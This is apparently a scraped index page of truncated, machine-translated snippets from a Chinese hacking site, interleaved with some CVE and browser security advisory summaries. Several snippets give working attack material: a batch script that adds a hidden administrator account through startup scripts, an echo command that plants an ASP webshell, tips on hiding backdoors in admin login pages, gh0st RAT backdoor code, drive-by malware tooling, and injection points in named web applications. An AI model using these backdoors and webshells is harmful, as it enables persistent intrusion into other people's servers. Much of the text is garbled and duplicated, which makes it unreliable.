CVE-2009-3857

Buffer overflow in Softonic International SciTE 1.72 allows user-assisted remote attackers to cause a denial of service application crash via a Ruby .rb file containing a long string, which triggers the crash when a scroll bar is used...

CVE-2009-3857

Buffer overflow in Softonic International SciTE 1.72 allows user-assisted remote attackers to cause a denial of service application crash via a Ruby .rb file containing a long string, which triggers the crash when a scroll bar is used...

the web leaving the back door-vulnerability warning-the black bar safety net

First: In the administrator backend login screen to hide our Backdoor, it is relatively safe Because the administrator of the inlet is not often traded, as long as his login screen on our back door just in! Of course, you also can be flexibly inserted into the other file, as long as this file is...

Woven dream management system Background The find-a vulnerability warning-the black bar safety net

Sometimes in the by injection to give the weave the dream program's administrative password, but found that can't find the backend address. This time we can try the following in the address followed by: the/include/dialog/selectmedia. php? f=form1. murl But not necessarily pass to kill it.. By:th...

Mozilla Foundation Security Advisory 2009-52

Mozilla Foundation Security Advisory 2009-52 Title: Form history vulnerable to stealing Impact: Moderate Announced: October 27, 2009 Reporter: Paul Stone Products: Firefox Fixed in: Firefox 3.5.4 Firefox 3.0.15 Description Security researcher Paul Stone reported that a user's form history, both...

Web fonts can be used to spoof the page address – Opera Security Advisories

In some cases, a Web font intended to be used for page content could be incorrectly used by Opera to render parts of the user interface, including the address field. This can be used by a malicious site to display a false domain name in the address field...

Form history vulnerable to stealing — Mozilla

Security researcher Paul Stone reported that a user's form history, both from web content as well as the smart location bar, was vulnerable to theft. A malicious web page could synthesize events such as mouse focus and key presses on behalf of the victim and trick the browser into auto-filling th...

Dedecms select_soft_post. php page the variables are not the initial vulnerability-vulnerability warning-the black bar safety net

Text/ Flyh4t Affected versions: Dedecms 5.5 漏洞 产生 文件 位于 include\dialog\selectsoftpost.php, which is the variable$cfgbasedir not initialized properly, can lead to spare Through the identity authentication and system variable initialization file, cause you can upload any file to the specified...

7 1 1 enterprise web site management program V6. 0 the presence of Cookies injection vulnerability-vulnerability warning-the black bar safety net

One: the dim keyword dim sortid keyword=request"keyword" sortid=request"sortid" if sortid"" then SQL where=SQL where &" and sortid="&sortid&"" if the keyword"" then SQL where=sqlwher &" and shopname like '%"&keyword&"%'" Set rs=Server. CreateObject"ADODB. RecordSet" strsql="select from Product...

Create can not detect and delete Backdoor-vulnerability warning-the black bar safety net

Source: ha0k Create can not detect and delete the backdoor Boot. bat @echo off net user ha0k ha0k /add net localgroup administrators ha0k /add Shutdown. bat @echo off net user ha0k /del Method of use: Start/Run/gpedit. msc Computer settings/windows Settings/scriptsstartup/shutdown Double-click th...

How to use MySQL elevation of privilege-vulnerability warning-the black bar safety net

Recently online exposes a MySQL Func vulnerability,talking about use MySQL to create a custom function,and then pass this function to attack the server. The earliest to see the relevant reports is in o-otik,but the announcement is for Unix systems Exploit,and the success rate is not very high. An...

dedecms(plus/feedback_js.php)injection vulnerability-vulnerability warning-the black bar safety net

Found by:Rainy'Fox&St0p Team:two fat network securityhttp://bbs.erpangzi.com Affected version: dedecms GBK 5.1 Vulnerability description: 文件 :plus/feedbackjs.php ifempty$arcID $row = $dlist-dsql-GetOne"Select id From @cachefeedbackurl where url='$arcurl' "; ifisarray$row $urlindex = $row'id'; Get...

Talking about the Ring0 privilege of obtain-vulnerability warning-the black bar safety net

Recently been trying to write a program to kill 3 6 0, but encountered a lot of trouble, even if elevated, the 能干 掉 Winlogon.exe 也 干 不 掉 360tray.exe depressed for half a day. Don't know 3 6 0 what weird means. Then find the Find the previous comparison of the bovine X-virus Panda burning incense...

Sina-and the news, etc. blog generic hang horse method+MP3 0day to use the tool-vulnerability warning-the black bar safety net

Article author: eskry Some time ago has been studying the site of violence promotion In the study by blogs violence when promoting a slightly. And share with you This will use a small tool Is a period of time before a lot of people said MP3 0day I wrote one to use the tool To a couple of friends ...

EASYNEWS news management system v1. 0 1 official version has multiple vulnerabilities-vulnerability warning-the black bar safety net

Source: San ㄗ Feng 訫 locks of love'S Blog EASYNEWS news management system v1. 0 1 official version has multiple vulnerabilities A ReadNews. asp requestNewsID=Request. QueryString"NewsID" 'pass to give the news numbers NewsID rs. Source="select from News where NewsID=" & amp; requestNewsID 'query...

gh0st plus the back door method-vulnerability warning-the black bar safety net

Plus the back door methods: 1. Download the program 2. if the computer restart the above run c code view source print? "?" 0 1.//------------------------------------ 0 2. a include 0 3. include //This can do not 0 4. a include //This can do not 0 5. include //This is the ShellExecute definition...

The moving web 8. x latest 0day-vulnerability warning-the black bar safety net

Use the or IIS the filename parsing vulnerability. Affected version: Powered By Dvbbs Version 8.2.0 Powered By Dvbbs Version 8.1.0 Powered By Dvbbs Version 8.0.0 Registered users-my homepage-personal space management userspace. asp? sid=0&act=modifyset Then edit the CSS style-file management...

QQ security a threat-vulnerability warning-the black bar safety net

1, QQ Cookie management is not enough strict. 2, QQ Ptlogin not take any transmission encryption measures, just a local encrypted HTTP POST to the server. Hazards: 1, The only one qq. comXSSwill be able to achieve the theft of Q coins, get privacy information. See the password of the album, The...

Side note the Echo of the target Station WebShell-vulnerability warning-the black bar safety net

Command format The Echo statement the target Station absolute directory For example: echo ^^%execute request"0"^%^ D:\03389.com\wwwroot\YingMu.asp Such access to the target bin directory it will generate a password of 0 the asp in a word, this method in PHP and other scripting languages are...

WS_FTP FTPD "STAT"command overflow parsing-vulnerability warning-the black bar safety net

The following analysis is based on the WSFTP Server 4.0.1. EVAL 4 7 1 5 6 3 1 4version, only the analysis of the“STAT”command overflow . In fact, WSFTP in processing STAT command, many places are length of the judgment, however, there is a place he has been missed, Well, our chance came.:...